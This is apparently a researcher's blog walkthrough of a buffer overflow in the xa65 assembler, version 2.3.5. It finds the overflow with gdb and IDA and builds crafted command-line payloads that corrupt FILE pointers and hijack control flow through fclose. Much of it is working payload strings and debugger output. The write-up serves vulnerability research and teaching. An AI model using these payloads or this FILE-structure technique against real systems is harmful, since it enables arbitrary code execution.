(french version here)
During my work with Gustavo Grieco, I occasionally have to study some vulnerability. Today I will talk about one that I recently studied, I think this one is quite instructive.
The vulnerability is in xa (package xa65, version 2.3.5), if you want to do the manipulation in the same environment, I suggest you to dl the VM from the ocean project : https://github.com/neuromancer/ocean-data (if you need help to configure it, you can send me a message, or directly contact the author, he is reactive)
The starting point is to launch xa with a long string as parameter :
vagrant@vagrant:~$ xa $(python -c 'print "A"*3000')
We obtain a “Segmentation fault”.
First reaction, we launch again with a tool of tracing, ltrace for example
vagrant@vagrant:~$ ltrace xa $(python -c 'print "A"*3000')
The last lines of ltrace speak for themselves :
fputs("Couldn't open source file 'AAAAA"..., 0x41414141 <unfinished ...> --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++
The program crash on fputs, fputs takes two arguments, one string and one FILE pointer.
0x41 is ‘A’ in ASCCI (our input), so we suspect that we are dealing with a buffer overflow, and we re-write a FILE pointer close to the buffer that we overflow.
So go play with gdb :
vagrant@vagrant:~$ gdb xa (gdb) run $(python -c 'print "A"*3000')
With the backtrace command (bt in shortcut), we can know the different call before the crash :
(gdb) bt #0 0xb7eb6098 in fputs () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #1 0x08048cc0 in ?? () #2 0x0804a2a0 in ?? () #3 0xb7e6ae46 in __libc_start_main () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #4 0x08048bd1 in ?? (
So the call to fputs is just before the instruction 0x08048cc0 :
(gdb) x/2i 0x08048cc0-0x5 0x8048cbb: call 0x8048930 <fputs@plt> 0x8048cc0: add $0x14,%esp
(x/2i to print 2 instructions, 0x5 is the size of the “call ADDR ” instruction)
So know, let play with IDA, to have a better view of the whole programme (xa is open source, we could of course use the source-code, but we would lose all the fun :p )
After opening xa in IDA, we can go to the instruction 0x8048cbb (menu -> “Jump” -> “Jump to address”)
I rename the function “crash_here” (with the “rename” option, or with the shortcut “n”)
We see that fputs take as argument the same as crash_here (called “s” by IDA). The interesting point is that the second argument (the FILE pointer) comes from the bss section (call ds:stream in IDA). So we can suspect that the buffer overflow occurs in a global variable.
Let’s go see what are in the global variables with IDA (double-clicking on stream) :
We can see something that is interesting, a buffer (“s”), followed by a timer, a __IO_FILE pointer “fp”, and the FILE pointer “stream”.
Intuitively, we suspect that the overflow should occurs in “s”.
We can check this from gdb. Let’s put a breakpoint before fputs :
(gdb) b *0x8048cbb Breakpoint 1 at 0x8048cbb
Run the program again :
(gdb) run $(python -c 'print "A"*3000')
With IDA we know the address of the global variables :
bss:08058440 ; char s
.bss:08058C48 ; _IO_FILE *fp
.bss:08058C4C ; FILE *stream
Let’s see with gdb what is inside theses variables before the breakpoint :
(gdb) x/wx 0x08058C4C 0x8058c4c: 0x41414141 (gdb) x/wx 0x08058C48 0x8058c48: 0x41414141
We indeed obtain A for “fp” and “stream”, but something strange happens :
(gdb) x/wx 0x8058440 0x8058440: 0x6c756f43
It’s not A in “s”. However theses values looks like ASCCI value, so let’s print “s” as a string :
(gdb) x/s 0x8058440 0x8058440: "Couldn't open source file '", 'A' <repeats 173 times>...
(x/s to print a variable as a string).
What you should understand here, is “s” is full of A, but start with another string “Couldn’t open source file ‘”.
We can now calculate from which octet in the input we control the value in stream. To do this you can use the pattern technic (for people in Grenoble, we saw that in the last talk of Boyan). Or you can manually calculate it (I let you find how do this :p )
We control stream after a padding of 2033, let’s verify this :
(gdb) run $(python -c 'print "A"*2033+"B"*4') ... Breakpoint 1, 0x08048cbb in ?? () (gdb) x/wx $esp+4 0xbfffca14: 0x42424242
(same breakpoint as before, $esp+4 to print the second parameter that we provide to fputs)
The next step, is to find when the overflow is occurs ?
gdb will help us, we put a watchpoint to the stream address to know when it will be modified (some explanations on watchpoint : https://sourceware.org/gdb/onlinedocs/gdb/Set-Watchpoints.html)
(gdb) watch *0x8058C4C Hardware watchpoint 2: *0x8058C4C (gdb) run $(python -c 'print "A"*2033+"B"*4') ... Old value = 0 New value = 1111638594 0xb7ece44e in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
So the value is modified by a libc’s function. Let’s check the previous call :
(gdb) bt #0 0xb7ece44e in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #1 0xb7ec34a3 in _IO_default_xsputn () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #2 0xb7e981ea in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #3 0xb7eb801c in vsprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #4 0xb7e9df0b in sprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #5 0x0804a294 in ?? () #6 0xb7e6ae46 in __libc_start_main () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #7 0x08048bd1 in ?? () (gdb) x/2i 0x0804a294-0x5 0x804a28f: call 0x8048940 <sprintf@plt> 0x804a294: movl $0x8058440,(%esp)
So it’s modified by a call to sprintf.
Go back in IDA, and let’s see what happens in the instruction 0x804a28f.
We see that the string given to sprintf contains the string previously seen, followed by a “%s” and some ending character : “Couldn’t open source file ‘%s’!\n”
So we know how to control the value in stream just before the call to fputs, we know where the overflow occurs. Now what we can do ?
The thing to know, is that FILE pointer has a table of virtual function, that we can exploit in some function (this technic is well explained here : http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure , if some people wants, I could further explain this later in another article, or during a presentation).
Exploit some function is quite easy (fclose for example). In other one it’s possible, but I never tried. fputs belonging of theses that I never tried. I did this exploit in a train, so at this point I wanted to find a call to fclose with a controlled pointer, and not try on fputs. (notes : With hindsight, exploit fputs is as easy as exploit a fclose. I realise this exploit in a train, and I had nothing else to do at this time, so I made a mistake by wanting to find a call to fclose, this made the exploit lightly more difficult :p More complicated it is, more funnier it is, so I decide to let this version for the article. The skilled reader would know how to do a exploit slightly easier ).
Se was that during the overflow, we overwite a other pointer, called “fp” in IDA.
What would happen if fputs worked and if the program continued to run ? We know that we control stream with a padding of 2033, but we control also fp with a padding a 2029.
However because of the ending caracter added by the string “Couldn’t open source file ‘%s’!\n”, we are able to control fp without overwrite “stream” (“!\n” is added at the end of the string). We will see later how to solve this. In a first time, let’s overwrite fp without stream, so we can just write 2029 caractere, that will overwrite “fp” with “!\n”.
(gdb) run $(python -c 'print "A"*2029') Program received signal SIGSEGV, Segmentation fault. 0xb7eb5287 in fclose () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
Interesting, we crash on fclose !
Let’s check the value given to fclose (same methodology as see previously, a skilled reader should know how to do this quickly ;))
(gdb) bt #0 0xb7eb5287 in fclose () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #1 0x0804a4d4 in ?? () #2 0xb7e6ae46 in __libc_start_main () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #3 0x08048bd1 in ?? () (gdb) x/2i 0x0804a4d4-0x5 0x804a4cf: call 0x8048a30 <fclose@plt> 0x804a4d4: call 0x804c210 (gdb) b * 0x804a4cf (gdb) run $(python -c 'print "A"*2029') ... (gdb) x/x $esp 0xbfffca30: 0x000a2127 (gdb) x/s $esp 0xbfffca30: "'!\n"
Jackpot, we control the pointer given to fclose !
Out of curiosity, let’s check what is in the fonction that contains the instruction 0x804a4cf :
We saw again “fp”. We note that we are in the same function that was calling sprintf.
We have still a problem, how to control “fp”, without make crash the call to fputs ?
To fix this, I simply use the pointer use by stderr !
(gdb) x/x stderr 0xb7fb4580
So at this moment, my input is like this :
(gdb) run $(python -c "print 'A'*2029+'B'*4+'\x80\x45\xfb\xb7'") .. 0xb7eb5287 in fclose () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
We crash in a call to fclose. The fix of “steam” worked. However, by being careful, we notice that we don’t crash in the same call to fclose !
(gdb) bt #0 0xb7eb5287 in fclose () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #1 0x0804a4c3 in ?? () #2 0xb7e6ae46 in __libc_start_main () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #3 0x08048bd1 in ?? () (gdb) x/i 0x0804a4c3-0x5 0x804a4be: call 0x8048a30 <fclose@plt> (gdb) b * 0x804a4be: (gdb) x/x $esp 0xbfffca30: 0x000a2127 (gdb) x/s $esp 0xbfffca30: "'!\n"
So our input have probably overwrite a FILE pointer that is used in a fclose before “fp”. The interesting thing, is that the value of the pointer is our ending caractere ! So this should be the variable just after “fp” ! (IDA called this one “dword_8058C50”, we will called it “ptr” in the rest of the article).
So let’s modify our input !
(gdb) run $(python -c "print 'A'*2033+'\x80\x45\xfb\xb7'+'B'*4") Breakpoint 4, 0x0804a4be in ?? () (gdb) x/i $eip => 0x804a4be: call 0x8048a30 <fclose@plt> (gdb) x/wx $esp 0xbfffca30: 0x42424242
So, finally we control the pointer given to fclose ! (notes : :from this, if we would exploit fputs, the technic will be the same )
As explained earlier, the idea is to give to fclose a pointer to a controled area. Like this we will control the virtual table used by fclose.
So our input looks like this :
addr, addr2 and the last padding are variables values. I let you play with them 🙂
Just remember that we control the memory starting from “s” (0x08058440), and addr1 needs to point to the place in memory where addr2 is.
In my exemple, I choose to use the same value for addr1 and addr2, but this is not mandatory.
(gdb) run $(python -c "print 'A'*2033+'\x80\x45\xfb\xb7'+'\x50\x8c\x05\x08'+'\x50\x8c\x05\x08'+'A'*68+'B'*4") .. 0xb7f650b1 in fclose () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) x/i $eip => 0xb7f650b1 <fclose+145>: call *0x8(%eax) (gdb) x/x $eax 0x42424242: Cannot access memory at address 0x42424242
(the padding of 68 can be find by looking into the FILE format, or just with the pattern technics if you are lazy)
So we control the value of eax when where are in the call *(eax+0x8) instruction.
We are in a call*, so we just need to take into account a last indirection :
(gdb) run $(python -c "print 'A'*2033+'\x80\x45\xfb\xb7'+'\x50\x8c\x05\x08'+'\x50\x8c\x05\x08'+'C'*4+'A'*64+'\x50\x8c\x05\x08'") Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? ()
We control now the execution flow. But the stack is not executable here, so the next step will be to build a ROP, and I let you do this part 🙂
readelf -lW /usr/bin/xa | grep GNU_STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
On other system, this vuln wont be so easy to exploit (because of some protection of the system). I quickly tried on Ubuntu, and the buffer overflow is detected during the sprintf.
There is a new version of xa (2.3.6), and the vuln is fixed in this one. But funny fact, when you use a bigger input, you have a new crash :
xa $(python -c "print 'A'*20000") ... Segmentation fault
If someone wants to play with this one, let me know 🙂